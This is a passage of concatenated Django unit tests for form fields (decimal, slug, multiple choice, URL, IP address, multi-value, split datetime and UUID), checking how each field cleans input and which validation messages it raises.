            f.clean('łąść')
        self.assertEqual(f.clean('1.0 '), decimal.Decimal("1.0"))
        self.assertEqual(f.clean(' 1.0'), decimal.Decimal("1.0"))
        self.assertEqual(f.clean(' 1.0 '), decimal.Decimal("1.0"))
        with self.assertRaisesMessage(ValidationError, "'Enter a number.'"):
            f.clean('1.0a')
        with self.assertRaisesMessage(ValidationError, "'Ensure that there are no more than 4 digits in total.'"):
            f.clean('123.45')
        with self.assertRaisesMessage(ValidationError, "'Ensure that there are no more than 2 decimal places.'"):
            f.clean('1.234')
        msg = "'Ensure that there are no more than 2 digits before the decimal point.'"
        with self.assertRaisesMessage(ValidationError, msg):
            f.clean('123.4')
        self.assertEqual(f.clean('-12.34'), decimal.Decimal("-12.34"))
        with self.assertRaisesMessage(ValidationError, "'Ensure that there are no more than 4 digits in total.'"):
            f.clean('-123.45')
        self.assertEqual(f.clean('-.12'), decimal.Decimal("-0.12"))
        self.assertEqual(f.clean('-00.12'), decimal.Decimal("-0.12"))
        self.assertEqual(f.clean('-000.12'), decimal.Decimal("-0.12"))
        with self.assertRaisesMessage(ValidationError, "'Ensure that there are no more than 2 decimal places.'"):
            f.clean('-000.123')
        with self.assertRaisesMessage(ValidationError, "'Ensure that there are no more than 4 digits in total.'"):
            f.clean('-000.12345')
        with self.assertRaisesMessage(ValidationError, "'Enter a number.'"):
            f.clean('--0.12')
        self.assertEqual(f.max_digits, 4)
        self.assertEqual(f.decimal_places, 2)
        self.assertIsNone(f.max_value)
        self.assertIsNone(f.min_value)

    def test_decimalfield_2(self):
        f = DecimalField(max_digits=4, decimal_places=2, required=False)
        self.assertIsNone(f.clean(''))
        self.assertIsNone(f.clean(None))
        self.assertEqual(f.clean('1'), decimal.Decimal("1"))
        self.assertEqual(f.max_digits, 4)
        self.assertEqual(f.decimal_places, 2)
        self.assertIsNone(f.max_value)
        self.assertIsNone(f.min_value)

    def test_decimalfield_3(self):
        f = DecimalField(
            max_digits=4, decimal_places=2,
            max_value=decimal.Decimal('1.5'),
            min_value=decimal.Decimal('0.5')
        )
        self.assertWidgetRendersTo(
            f,
            '<input step="0.01" name="f" min="0.5" max="1.5" type="number" id="id_f" required />',
        )
        with self.assertRaisesMessage(ValidationError, "'Ensure this value is less than or equal to 1.5.'"):
            f.clean('1.6')
        with self.assertRaisesMessage(ValidationError, "'Ensure this value is greater than or equal to 0.5.'"):
            f.clean('0.4')
        self.assertEqual(f.clean('1.5'), decimal.Decimal("1.5"))
        self.assertEqual(f.clean('0.5'), decimal.Decimal("0.5"))
        self.assertEqual(f.clean('.5'), decimal.Decimal("0.5"))
        self.assertEqual(f.clean('00.50'), decimal.Decimal("0.50"))
        self.assertEqual(f.max_digits, 4)
        self.assertEqual(f.decimal_places, 2)
        self.assertEqual(f.max_value, decimal.Decimal('1.5'))
        self.assertEqual(f.min_value, decimal.Decimal('0.5'))

    def test_decimalfield_4(self):
        f = DecimalField(decimal_places=2)
        with self.assertRaisesMessage(ValidationError, "'Ensure that there are no more than 2 decimal places.'"):
            f.clean('0.00000001')

    def test_decimalfield_5(self):
        f = DecimalField(max_digits=3)
        # Leading whole zeros "collapse" to one digit.
        self.assertEqual(f.clean('0000000.10'), decimal.Decimal("0.1"))
        # But a leading 0 before the . doesn't count towards max_digits
        self.assertEqual(f.clean('0000000.100'), decimal.Decimal("0.100"))
        # Only leading whole zeros "collapse" to one digit.
        self.assertEqual(f.clean('000000.02'), decimal.Decimal('0.02'))
        with self.assertRaisesMessage(ValidationError, "'Ensure that there are no more than 3 digits in total.'"):
            f.clean('000000.0002')
        self.assertEqual(f.clean('.002'), decimal.Decimal("0.002"))

    def test_decimalfield_6(self):
        f = DecimalField(max_digits=2, decimal_places=2)
        self.assertEqual(f.clean('.01'), decimal.Decimal(".01"))
        msg = "'Ensure that there are no more than 0 digits before the decimal point.'"
        with self.assertRaisesMessage(ValidationError, msg):
            f.clean('1.1')

    def test_decimalfield_scientific(self):
        f = DecimalField(max_digits=2, decimal_places=2)
        self.assertEqual(f.clean('1E+2'), decimal.Decimal('1E+2'))
        self.assertEqual(f.clean('1e+2'), decimal.Decimal('1E+2'))
        with self.assertRaisesMessage(ValidationError, "Ensure that there are no more"):
            f.clean('0.546e+2')

    def test_decimalfield_widget_attrs(self):
        f = DecimalField(max_digits=6, decimal_places=2)
        self.assertEqual(f.widget_attrs(Widget()), {})
        self.assertEqual(f.widget_attrs(NumberInput()), {'step': '0.01'})
        f = DecimalField(max_digits=10, decimal_places=0)
        self.assertEqual(f.widget_attrs(NumberInput()), {'step': '1'})
        f = DecimalField(max_digits=19, decimal_places=19)
        self.assertEqual(f.widget_attrs(NumberInput()), {'step': '1e-19'})
        f = DecimalField(max_digits=20)
        self.assertEqual(f.widget_attrs(NumberInput()), {'step': 'any'})
        f = DecimalField(max_digits=6, widget=NumberInput(attrs={'step': '0.01'}))
        self.assertWidgetRendersTo(f, '<input step="0.01" name="f" type="number" id="id_f" required />')

    def test_decimalfield_localized(self):
        """
        A localized DecimalField's widget renders to a text input without
        number input specific attributes.
        """
        f = DecimalField(localize=True)
        self.assertWidgetRendersTo(f, '<input id="id_f" name="f" type="text" required />')

    def test_decimalfield_changed(self):
        f = DecimalField(max_digits=2, decimal_places=2)
        d = decimal.Decimal("0.1")
        self.assertFalse(f.has_changed(d, '0.10'))
        self.assertTrue(f.has_changed(d, '0.101'))

        with translation.override('fr'), self.settings(USE_L10N=True):
            f = DecimalField(max_digits=2, decimal_places=2, localize=True)
            localized_d = formats.localize_input(d)  # -> '0,1' in French
            self.assertFalse(f.has_changed(d, localized_d))






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.forms import SlugField
from django.test import SimpleTestCase


class SlugFieldTest(SimpleTestCase):

    def test_slugfield_normalization(self):
        f = SlugField()
        self.assertEqual(f.clean('    aa-bb-cc    '), 'aa-bb-cc')

    def test_slugfield_unicode_normalization(self):
        f = SlugField(allow_unicode=True)
        self.assertEqual(f.clean('a'), 'a')
        self.assertEqual(f.clean('1'), '1')
        self.assertEqual(f.clean('a1'), 'a1')
        self.assertEqual(f.clean('你好'), '你好')
        self.assertEqual(f.clean('  你-好  '), '你-好')
        self.assertEqual(f.clean('ıçğüş'), 'ıçğüş')
        self.assertEqual(f.clean('foo-ıç-bar'), 'foo-ıç-bar')






from __future__ import unicode_literals

from django.forms import MultipleChoiceField, ValidationError
from django.test import SimpleTestCase


class MultipleChoiceFieldTest(SimpleTestCase):

    def test_multiplechoicefield_1(self):
        f = MultipleChoiceField(choices=[('1', 'One'), ('2', 'Two')])
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean('')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(None)
        self.assertEqual(['1'], f.clean([1]))
        self.assertEqual(['1'], f.clean(['1']))
        self.assertEqual(['1', '2'], f.clean(['1', '2']))
        self.assertEqual(['1', '2'], f.clean([1, '2']))
        self.assertEqual(['1', '2'], f.clean((1, '2')))
        with self.assertRaisesMessage(ValidationError, "'Enter a list of values.'"):
            f.clean('hello')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean([])
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(())
        msg = "'Select a valid choice. 3 is not one of the available choices.'"
        with self.assertRaisesMessage(ValidationError, msg):
            f.clean(['3'])

    def test_multiplechoicefield_2(self):
        f = MultipleChoiceField(choices=[('1', 'One'), ('2', 'Two')], required=False)
        self.assertEqual([], f.clean(''))
        self.assertEqual([], f.clean(None))
        self.assertEqual(['1'], f.clean([1]))
        self.assertEqual(['1'], f.clean(['1']))
        self.assertEqual(['1', '2'], f.clean(['1', '2']))
        self.assertEqual(['1', '2'], f.clean([1, '2']))
        self.assertEqual(['1', '2'], f.clean((1, '2')))
        with self.assertRaisesMessage(ValidationError, "'Enter a list of values.'"):
            f.clean('hello')
        self.assertEqual([], f.clean([]))
        self.assertEqual([], f.clean(()))
        msg = "'Select a valid choice. 3 is not one of the available choices.'"
        with self.assertRaisesMessage(ValidationError, msg):
            f.clean(['3'])

    def test_multiplechoicefield_3(self):
        f = MultipleChoiceField(
            choices=[('Numbers', (('1', 'One'), ('2', 'Two'))), ('Letters', (('3', 'A'), ('4', 'B'))), ('5', 'Other')]
        )
        self.assertEqual(['1'], f.clean([1]))
        self.assertEqual(['1'], f.clean(['1']))
        self.assertEqual(['1', '5'], f.clean([1, 5]))
        self.assertEqual(['1', '5'], f.clean([1, '5']))
        self.assertEqual(['1', '5'], f.clean(['1', 5]))
        self.assertEqual(['1', '5'], f.clean(['1', '5']))
        msg = "'Select a valid choice. 6 is not one of the available choices.'"
        with self.assertRaisesMessage(ValidationError, msg):
            f.clean(['6'])
        msg = "'Select a valid choice. 6 is not one of the available choices.'"
        with self.assertRaisesMessage(ValidationError, msg):
            f.clean(['1', '6'])

    def test_multiplechoicefield_changed(self):
        f = MultipleChoiceField(choices=[('1', 'One'), ('2', 'Two'), ('3', 'Three')])
        self.assertFalse(f.has_changed(None, None))
        self.assertFalse(f.has_changed([], None))
        self.assertTrue(f.has_changed(None, ['1']))
        self.assertFalse(f.has_changed([1, 2], ['1', '2']))
        self.assertFalse(f.has_changed([2, 1], ['1', '2']))
        self.assertTrue(f.has_changed([1, 2], ['1']))
        self.assertTrue(f.has_changed([1, 2], ['1', '3']))






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.forms import URLField, ValidationError
from django.test import SimpleTestCase

from . import FormFieldAssertionsMixin


class URLFieldTest(FormFieldAssertionsMixin, SimpleTestCase):

    def test_urlfield_1(self):
        f = URLField()
        self.assertWidgetRendersTo(f, '<input type="url" name="f" id="id_f" required />')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean('')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(None)
        self.assertEqual('http://localhost', f.clean('http://localhost'))
        self.assertEqual('http://example.com', f.clean('http://example.com'))
        self.assertEqual('http://example.com.', f.clean('http://example.com.'))
        self.assertEqual('http://www.example.com', f.clean('http://www.example.com'))
        self.assertEqual('http://www.example.com:8000/test', f.clean('http://www.example.com:8000/test'))
        self.assertEqual('http://valid-with-hyphens.com', f.clean('valid-with-hyphens.com'))
        self.assertEqual('http://subdomain.domain.com', f.clean('subdomain.domain.com'))
        self.assertEqual('http://200.8.9.10', f.clean('http://200.8.9.10'))
        self.assertEqual('http://200.8.9.10:8000/test', f.clean('http://200.8.9.10:8000/test'))
        with self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'"):
            f.clean('foo')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'"):
            f.clean('http://')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'"):
            f.clean('http://example')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'"):
            f.clean('http://example.')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'"):
            f.clean('com.')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'"):
            f.clean('.')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'"):
            f.clean('http://.com')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'"):
            f.clean('http://invalid-.com')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'"):
            f.clean('http://-invalid.com')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'"):
            f.clean('http://inv-.alid-.com')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'"):
            f.clean('http://inv-.-alid.com')
        self.assertEqual('http://valid-----hyphens.com', f.clean('http://valid-----hyphens.com'))
        self.assertEqual(
            'http://some.idn.xyz\xe4\xf6\xfc\xdfabc.domain.com:123/blah',
            f.clean('http://some.idn.xyzäöüßabc.domain.com:123/blah')
        )
        self.assertEqual(
            'http://www.example.com/s/http://code.djangoproject.com/ticket/13804',
            f.clean('www.example.com/s/http://code.djangoproject.com/ticket/13804')
        )
        with self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'"):
            f.clean('[a')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'"):
            f.clean('http://[a')

    def test_url_regex_ticket11198(self):
        f = URLField()
        # hangs "forever" if catastrophic backtracking in ticket:#11198 not fixed
        with self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'"):
            f.clean('http://%s' % ("X" * 200,))

        # a second test, to make sure the problem is really addressed, even on
        # domains that don't fail the domain label length check in the regex
        with self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'"):
            f.clean('http://%s' % ("X" * 60,))

    def test_urlfield_2(self):
        f = URLField(required=False)
        self.assertEqual('', f.clean(''))
        self.assertEqual('', f.clean(None))
        self.assertEqual('http://example.com', f.clean('http://example.com'))
        self.assertEqual('http://www.example.com', f.clean('http://www.example.com'))
        with self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'"):
            f.clean('foo')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'"):
            f.clean('http://')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'"):
            f.clean('http://example')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'"):
            f.clean('http://example.')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'"):
            f.clean('http://.com')

    def test_urlfield_5(self):
        f = URLField(min_length=15, max_length=20)
        self.assertWidgetRendersTo(f, '<input id="id_f" type="url" name="f" maxlength="20" minlength="15" required />')
        with self.assertRaisesMessage(ValidationError, "'Ensure this value has at least 15 characters (it has 12).'"):
            f.clean('http://f.com')
        self.assertEqual('http://example.com', f.clean('http://example.com'))
        with self.assertRaisesMessage(ValidationError, "'Ensure this value has at most 20 characters (it has 37).'"):
            f.clean('http://abcdefghijklmnopqrstuvwxyz.com')

    def test_urlfield_6(self):
        f = URLField(required=False)
        self.assertEqual('http://example.com', f.clean('example.com'))
        self.assertEqual('', f.clean(''))
        self.assertEqual('https://example.com', f.clean('https://example.com'))

    def test_urlfield_7(self):
        f = URLField()
        self.assertEqual('http://example.com', f.clean('http://example.com'))
        self.assertEqual('http://example.com/test', f.clean('http://example.com/test'))
        self.assertEqual(
            'http://example.com?some_param=some_value',
            f.clean('http://example.com?some_param=some_value')
        )

    def test_urlfield_9(self):
        f = URLField()
        urls = (
            'http://עברית.idn.icann.org/',
            'http://sãopaulo.com/',
            'http://sãopaulo.com.br/',
            'http://пример.испытание/',
            'http://مثال.إختبار/',
            'http://例子.测试/',
            'http://例子.測試/',
            'http://उदाहरण.परीक्षा/',
            'http://例え.テスト/',
            'http://مثال.آزمایشی/',
            'http://실례.테스트/',
            'http://العربية.idn.icann.org/',
        )
        for url in urls:
            # Valid IDN
            self.assertEqual(url, f.clean(url))

    def test_urlfield_10(self):
        """URLField correctly validates IPv6 (#18779)."""
        f = URLField()
        urls = (
            'http://[12:34::3a53]/',
            'http://[a34:9238::]:8080/',
        )
        for url in urls:
            self.assertEqual(url, f.clean(url))

    def test_urlfield_not_string(self):
        f = URLField(required=False)
        with self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'"):
            f.clean(23)

    def test_urlfield_normalization(self):
        f = URLField()
        self.assertEqual(f.clean('http://example.com/     '), 'http://example.com/')

    def test_urlfield_strip_on_none_value(self):
        f = URLField(required=False, empty_value=None)
        self.assertIsNone(f.clean(None))

    def test_urlfield_unable_to_set_strip_kwarg(self):
        msg = "__init__() got multiple values for keyword argument 'strip'"
        with self.assertRaisesMessage(TypeError, msg):
            URLField(strip=False)






from __future__ import unicode_literals

from django.forms import GenericIPAddressField, ValidationError
from django.test import SimpleTestCase


class GenericIPAddressFieldTest(SimpleTestCase):

    def test_generic_ipaddress_invalid_arguments(self):
        with self.assertRaises(ValueError):
            GenericIPAddressField(protocol='hamster')
        with self.assertRaises(ValueError):
            GenericIPAddressField(protocol='ipv4', unpack_ipv4=True)

    def test_generic_ipaddress_as_generic(self):
        # The edge cases of the IPv6 validation code are not deeply tested
        # here, they are covered in the tests for django.utils.ipv6
        f = GenericIPAddressField()
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean('')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(None)
        self.assertEqual(f.clean(' 127.0.0.1 '), '127.0.0.1')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid IPv4 or IPv6 address.'"):
            f.clean('foo')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid IPv4 or IPv6 address.'"):
            f.clean('127.0.0.')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid IPv4 or IPv6 address.'"):
            f.clean('1.2.3.4.5')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid IPv4 or IPv6 address.'"):
            f.clean('256.125.1.5')
        self.assertEqual(f.clean(' fe80::223:6cff:fe8a:2e8a '), 'fe80::223:6cff:fe8a:2e8a')
        self.assertEqual(f.clean(' 2a02::223:6cff:fe8a:2e8a '), '2a02::223:6cff:fe8a:2e8a')
        with self.assertRaisesMessage(ValidationError, "'This is not a valid IPv6 address.'"):
            f.clean('12345:2:3:4')
        with self.assertRaisesMessage(ValidationError, "'This is not a valid IPv6 address.'"):
            f.clean('1::2:3::4')
        with self.assertRaisesMessage(ValidationError, "'This is not a valid IPv6 address.'"):
            f.clean('foo::223:6cff:fe8a:2e8a')
        with self.assertRaisesMessage(ValidationError, "'This is not a valid IPv6 address.'"):
            f.clean('1::2:3:4:5:6:7:8')
        with self.assertRaisesMessage(ValidationError, "'This is not a valid IPv6 address.'"):
            f.clean('1:2')

    def test_generic_ipaddress_as_ipv4_only(self):
        f = GenericIPAddressField(protocol="IPv4")
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean('')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(None)
        self.assertEqual(f.clean(' 127.0.0.1 '), '127.0.0.1')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid IPv4 address.'"):
            f.clean('foo')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid IPv4 address.'"):
            f.clean('127.0.0.')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid IPv4 address.'"):
            f.clean('1.2.3.4.5')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid IPv4 address.'"):
            f.clean('256.125.1.5')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid IPv4 address.'"):
            f.clean('fe80::223:6cff:fe8a:2e8a')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid IPv4 address.'"):
            f.clean('2a02::223:6cff:fe8a:2e8a')

    def test_generic_ipaddress_as_ipv6_only(self):
        f = GenericIPAddressField(protocol="IPv6")
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean('')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(None)
        with self.assertRaisesMessage(ValidationError, "'Enter a valid IPv6 address.'"):
            f.clean('127.0.0.1')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid IPv6 address.'"):
            f.clean('foo')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid IPv6 address.'"):
            f.clean('127.0.0.')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid IPv6 address.'"):
            f.clean('1.2.3.4.5')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid IPv6 address.'"):
            f.clean('256.125.1.5')
        self.assertEqual(f.clean(' fe80::223:6cff:fe8a:2e8a '), 'fe80::223:6cff:fe8a:2e8a')
        self.assertEqual(f.clean(' 2a02::223:6cff:fe8a:2e8a '), '2a02::223:6cff:fe8a:2e8a')
        with self.assertRaisesMessage(ValidationError, "'This is not a valid IPv6 address.'"):
            f.clean('12345:2:3:4')
        with self.assertRaisesMessage(ValidationError, "'This is not a valid IPv6 address.'"):
            f.clean('1::2:3::4')
        with self.assertRaisesMessage(ValidationError, "'This is not a valid IPv6 address.'"):
            f.clean('foo::223:6cff:fe8a:2e8a')
        with self.assertRaisesMessage(ValidationError, "'This is not a valid IPv6 address.'"):
            f.clean('1::2:3:4:5:6:7:8')
        with self.assertRaisesMessage(ValidationError, "'This is not a valid IPv6 address.'"):
            f.clean('1:2')

    def test_generic_ipaddress_as_generic_not_required(self):
        f = GenericIPAddressField(required=False)
        self.assertEqual(f.clean(''), '')
        self.assertEqual(f.clean(None), '')
        self.assertEqual(f.clean('127.0.0.1'), '127.0.0.1')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid IPv4 or IPv6 address.'"):
            f.clean('foo')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid IPv4 or IPv6 address.'"):
            f.clean('127.0.0.')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid IPv4 or IPv6 address.'"):
            f.clean('1.2.3.4.5')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid IPv4 or IPv6 address.'"):
            f.clean('256.125.1.5')
        self.assertEqual(f.clean(' fe80::223:6cff:fe8a:2e8a '), 'fe80::223:6cff:fe8a:2e8a')
        self.assertEqual(f.clean(' 2a02::223:6cff:fe8a:2e8a '), '2a02::223:6cff:fe8a:2e8a')
        with self.assertRaisesMessage(ValidationError, "'This is not a valid IPv6 address.'"):
            f.clean('12345:2:3:4')
        with self.assertRaisesMessage(ValidationError, "'This is not a valid IPv6 address.'"):
            f.clean('1::2:3::4')
        with self.assertRaisesMessage(ValidationError, "'This is not a valid IPv6 address.'"):
            f.clean('foo::223:6cff:fe8a:2e8a')
        with self.assertRaisesMessage(ValidationError, "'This is not a valid IPv6 address.'"):
            f.clean('1::2:3:4:5:6:7:8')
        with self.assertRaisesMessage(ValidationError, "'This is not a valid IPv6 address.'"):
            f.clean('1:2')

    def test_generic_ipaddress_normalization(self):
        # Test the normalizing code
        f = GenericIPAddressField()
        self.assertEqual(f.clean(' ::ffff:0a0a:0a0a  '), '::ffff:10.10.10.10')
        self.assertEqual(f.clean(' ::ffff:10.10.10.10  '), '::ffff:10.10.10.10')
        self.assertEqual(f.clean(' 2001:000:a:0000:0:fe:fe:beef  '), '2001:0:a::fe:fe:beef')
        self.assertEqual(f.clean(' 2001::a:0000:0:fe:fe:beef  '), '2001:0:a::fe:fe:beef')

        f = GenericIPAddressField(unpack_ipv4=True)
        self.assertEqual(f.clean(' ::ffff:0a0a:0a0a'), '10.10.10.10')






from datetime import datetime

from django.forms import (
    CharField, Form, MultipleChoiceField, MultiValueField, MultiWidget,
    SelectMultiple, SplitDateTimeField, SplitDateTimeWidget, TextInput,
    ValidationError,
)
from django.test import SimpleTestCase

beatles = (('J', 'John'), ('P', 'Paul'), ('G', 'George'), ('R', 'Ringo'))


class ComplexMultiWidget(MultiWidget):
    def __init__(self, attrs=None):
        widgets = (
            TextInput(),
            SelectMultiple(choices=beatles),
            SplitDateTimeWidget(),
        )
        super(ComplexMultiWidget, self).__init__(widgets, attrs)

    def decompress(self, value):
        if value:
            data = value.split(',')
            return [
                data[0],
                list(data[1]),
                datetime.strptime(data[2], "%Y-%m-%d %H:%M:%S"),
            ]
        return [None, None, None]

    def format_output(self, rendered_widgets):
        return '\n'.join(rendered_widgets)


class ComplexField(MultiValueField):
    def __init__(self, required=True, widget=None, label=None, initial=None):
        fields = (
            CharField(),
            MultipleChoiceField(choices=beatles),
            SplitDateTimeField(),
        )
        super(ComplexField, self).__init__(fields, required, widget, label, initial)

    def compress(self, data_list):
        if data_list:
            return '%s,%s,%s' % (data_list[0], ''.join(data_list[1]), data_list[2])
        return None


class ComplexFieldForm(Form):
    field1 = ComplexField(widget=ComplexMultiWidget())


class MultiValueFieldTest(SimpleTestCase):

    @classmethod
    def setUpClass(cls):
        cls.field = ComplexField(widget=ComplexMultiWidget())
        super(MultiValueFieldTest, cls).setUpClass()

    def test_clean(self):
        self.assertEqual(
            self.field.clean(['some text', ['J', 'P'], ['2007-04-25', '6:24:00']]),
            'some text,JP,2007-04-25 06:24:00',
        )

    def test_bad_choice(self):
        msg = "'Select a valid choice. X is not one of the available choices.'"
        with self.assertRaisesMessage(ValidationError, msg):
            self.field.clean(['some text', ['X'], ['2007-04-25', '6:24:00']])

    def test_no_value(self):
        """
        If insufficient data is provided, None is substituted.
        """
        msg = "'This field is required.'"
        with self.assertRaisesMessage(ValidationError, msg):
            self.field.clean(['some text', ['JP']])

    def test_has_changed_no_initial(self):
        self.assertTrue(self.field.has_changed(None, ['some text', ['J', 'P'], ['2007-04-25', '6:24:00']]))

    def test_has_changed_same(self):
        self.assertFalse(self.field.has_changed(
            'some text,JP,2007-04-25 06:24:00',
            ['some text', ['J', 'P'], ['2007-04-25', '6:24:00']],
        ))

    def test_has_changed_first_widget(self):
        """
        Test when the first widget's data has changed.
        """
        self.assertTrue(self.field.has_changed(
            'some text,JP,2007-04-25 06:24:00',
            ['other text', ['J', 'P'], ['2007-04-25', '6:24:00']],
        ))

    def test_has_changed_last_widget(self):
        """
        Test when the last widget's data has changed. This ensures that it is
        not short circuiting while testing the widgets.
        """
        self.assertTrue(self.field.has_changed(
            'some text,JP,2007-04-25 06:24:00',
            ['some text', ['J', 'P'], ['2009-04-25', '11:44:00']],
        ))

    def test_form_as_table(self):
        form = ComplexFieldForm()
        self.assertHTMLEqual(
            form.as_table(),
            """
            <tr><th><label for="id_field1_0">Field1:</label></th>
            <td><input type="text" name="field1_0" id="id_field1_0" required />
            <select multiple="multiple" name="field1_1" id="id_field1_1" required>
            <option value="J">John</option>
            <option value="P">Paul</option>
            <option value="G">George</option>
            <option value="R">Ringo</option>
            </select>
            <input type="text" name="field1_2_0" id="id_field1_2_0" required />
            <input type="text" name="field1_2_1" id="id_field1_2_1" required /></td></tr>
            """,
        )

    def test_form_as_table_data(self):
        form = ComplexFieldForm({
            'field1_0': 'some text',
            'field1_1': ['J', 'P'],
            'field1_2_0': '2007-04-25',
            'field1_2_1': '06:24:00',
        })
        self.assertHTMLEqual(
            form.as_table(),
            """
            <tr><th><label for="id_field1_0">Field1:</label></th>
            <td><input type="text" name="field1_0" value="some text" id="id_field1_0" required />
            <select multiple="multiple" name="field1_1" id="id_field1_1" required>
            <option value="J" selected="selected">John</option>
            <option value="P" selected="selected">Paul</option>
            <option value="G">George</option>
            <option value="R">Ringo</option>
            </select>
            <input type="text" name="field1_2_0" value="2007-04-25" id="id_field1_2_0" required />
            <input type="text" name="field1_2_1" value="06:24:00" id="id_field1_2_1" required /></td></tr>
            """,
        )

    def test_form_cleaned_data(self):
        form = ComplexFieldForm({
            'field1_0': 'some text',
            'field1_1': ['J', 'P'],
            'field1_2_0': '2007-04-25',
            'field1_2_1': '06:24:00',
        })
        form.is_valid()
        self.assertEqual(form.cleaned_data['field1'], 'some text,JP,2007-04-25 06:24:00')






from __future__ import unicode_literals

import datetime

from django.forms import SplitDateTimeField, ValidationError
from django.forms.widgets import SplitDateTimeWidget
from django.test import SimpleTestCase
from django.utils import six


class SplitDateTimeFieldTest(SimpleTestCase):

    def test_splitdatetimefield_1(self):
        f = SplitDateTimeField()
        self.assertIsInstance(f.widget, SplitDateTimeWidget)
        self.assertEqual(
            datetime.datetime(2006, 1, 10, 7, 30),
            f.clean([datetime.date(2006, 1, 10), datetime.time(7, 30)])
        )
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(None)
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean('')
        with self.assertRaisesMessage(ValidationError, "'Enter a list of values.'"):
            f.clean('hello')
        with six.assertRaisesRegex(self, ValidationError, "'Enter a valid date\.', u?'Enter a valid time\.'"):
            f.clean(['hello', 'there'])
        with self.assertRaisesMessage(ValidationError, "'Enter a valid time.'"):
            f.clean(['2006-01-10', 'there'])
        with self.assertRaisesMessage(ValidationError, "'Enter a valid date.'"):
            f.clean(['hello', '07:30'])

    def test_splitdatetimefield_2(self):
        f = SplitDateTimeField(required=False)
        self.assertEqual(
            datetime.datetime(2006, 1, 10, 7, 30),
            f.clean([datetime.date(2006, 1, 10), datetime.time(7, 30)])
        )
        self.assertEqual(datetime.datetime(2006, 1, 10, 7, 30), f.clean(['2006-01-10', '07:30']))
        self.assertIsNone(f.clean(None))
        self.assertIsNone(f.clean(''))
        self.assertIsNone(f.clean(['']))
        self.assertIsNone(f.clean(['', '']))
        with self.assertRaisesMessage(ValidationError, "'Enter a list of values.'"):
            f.clean('hello')
        with six.assertRaisesRegex(self, ValidationError, "'Enter a valid date\.', u?'Enter a valid time\.'"):
            f.clean(['hello', 'there'])
        with self.assertRaisesMessage(ValidationError, "'Enter a valid time.'"):
            f.clean(['2006-01-10', 'there'])
        with self.assertRaisesMessage(ValidationError, "'Enter a valid date.'"):
            f.clean(['hello', '07:30'])
        with self.assertRaisesMessage(ValidationError, "'Enter a valid time.'"):
            f.clean(['2006-01-10', ''])
        with self.assertRaisesMessage(ValidationError, "'Enter a valid time.'"):
            f.clean(['2006-01-10'])
        with self.assertRaisesMessage(ValidationError, "'Enter a valid date.'"):
            f.clean(['', '07:30'])

    def test_splitdatetimefield_changed(self):
        f = SplitDateTimeField(input_date_formats=['%d/%m/%Y'])
        self.assertFalse(f.has_changed(['11/01/2012', '09:18:15'], ['11/01/2012', '09:18:15']))
        self.assertTrue(f.has_changed(datetime.datetime(2008, 5, 6, 12, 40, 00), ['2008-05-06', '12:40:00']))
        self.assertFalse(f.has_changed(datetime.datetime(2008, 5, 6, 12, 40, 00), ['06/05/2008', '12:40']))
        self.assertTrue(f.has_changed(datetime.datetime(2008, 5, 6, 12, 40, 00), ['06/05/2008', '12:41']))






from __future__ import unicode_literals

import uuid

from django.forms import UUIDField, ValidationError
from django.test import SimpleTestCase


class UUIDFieldTest(SimpleTestCase):

    def test_uuidfield_1(self):
        field = UUIDField()
        value = field.clean('550e8400e29b41d4a716446655440000')
        self.assertEqual(value, uuid.UUID('550e8400e29b41d4a716446655440000'))

    def test_uuidfield_2(self):
        field = UUIDField(required=False)
